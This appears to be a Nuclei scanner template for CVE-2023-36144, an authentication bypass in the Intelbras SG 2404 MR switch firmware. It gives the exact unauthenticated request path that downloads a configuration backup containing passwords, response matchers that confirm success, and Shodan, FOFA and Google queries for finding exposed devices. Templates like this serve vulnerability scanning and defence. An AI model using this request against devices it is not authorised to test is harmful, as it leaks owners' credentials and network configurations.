Description
An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.
An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.
id: CVE-2023-36144
info:
name: Intelbras Switch - Information Disclosure
author: gy741
severity: high
description: |
An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.
impact: |
Unauthenticated attackers can exploit authentication bypass to download backup configuration files containing critical device information including credentials and network configuration from Intelbras Switch devices.
remediation: |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-36144
- https://github.com/leonardobg/CVE-2023-36144
- http://intelbras.com
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-36144
cwe-id: CWE-862
epss-score: 0.36507
epss-percentile: 0.98411
cpe: cpe:2.3:o:intelbras:sg_2404_mr_firmware:1.00.54:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: intelbras
product: sg_2404_mr_firmware
shodan-query:
- title:"Intelbras"
- http.title:"intelbras"
fofa-query: title="intelbras"
google-query: intitle:"intelbras"
tags: cve2023,cve,intelbras,switch,exposure,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/cgi-bin/exportCfgwithpasswd'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'System Description'
- 'System Version'
- 'System Name'
condition: and
- type: word
part: header
words:
- 'attachment;filename='
- type: status
status:
- 200
# digest: 4b0a00483046022100ce45b900d8cc735ca853a0b374cfcae7735b41738319fa0c5cd82f70ac21f378022100f0344e3468ba313bace572ab964277029ef467062e93be9080cd37806f1e52cb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.